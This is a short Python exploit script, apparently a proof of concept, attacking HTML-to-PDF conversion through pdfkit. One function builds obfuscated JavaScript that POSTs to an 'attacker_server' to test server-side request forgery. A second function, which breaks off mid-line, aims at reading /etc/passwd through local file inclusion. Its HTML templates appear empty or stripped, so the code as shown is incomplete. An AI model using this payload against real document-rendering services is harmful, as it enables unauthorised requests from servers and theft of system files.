import base64 import pdfkit def ssrf(): attacker_server = "http://127.0.0.1:8888" helper_function = """function parse(payload){var result=String();payload.forEach(function(item){result+=String.fromCharCode(item);});return atob(result)}""" payload = f""" function reqListener() {{ console.log(this.responseText); }}; var xhttp = new XMLHttpRequest(); xhttp.addEventListener("load", reqListener); xhttp.open("POST", "{attacker_server}/SSRF-TEST", true); xhttp.send(); """.replace("\n", "") payload = base64.b64encode(payload.encode()).decode() payload = "[" + ",".join([str(ord(ch)) for ch in payload]) + "]" html_content = f""" """ pdfkit.from_string(html_content, "output.pdf") def lfi(): filename = "/etc/passwd" attacker_server = "http://127.0.0.1:8080" html_content = f"""